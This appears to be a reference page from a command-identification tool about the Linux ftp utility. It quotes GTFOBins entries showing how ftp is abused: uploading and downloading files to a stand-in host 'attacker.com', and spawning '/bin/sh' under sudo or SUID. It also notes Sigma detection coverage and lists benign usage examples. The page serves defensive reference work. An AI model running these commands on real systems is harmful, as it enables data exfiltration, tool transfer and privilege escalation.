Identifier / Programs / Linux and Unix
ftp
Tools to interact with a server via File Transfer Protocol. tldr-pages
GTFOBins download, upload 1 ATT&CK technique 3 documented commands
How ftp is abused
download T1105 Ingress Tool Transfer
-aupload
-aEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ftp.
3 documented commands
download unprivileged, with sudo, as SUID
Instead of -a, credentials can be supplied via the user:password@host connection string.
ftp -a attacker.com
get /path/to/input-file output-fileshell unprivileged, with sudo, as SUID
ftp
!/bin/shupload unprivileged, with sudo, as SUID
Instead of -a, credentials can be supplied via the user:password@host connection string.
ftp -a attacker.com
put /path/to/input-file output-fileNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ftp. The identifier reads the line of each that runs ftp.
What detects it
Everyday use
Connect to an FTP server and run in interactive mode
ftp ftp.example.comIdentifyConnect to an FTP server specifying its IP address and port
ftp ip_address portIdentify[Interactive] Switch to binary transfer mode (graphics, compressed files, etc.)
binaryNone of the 2 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.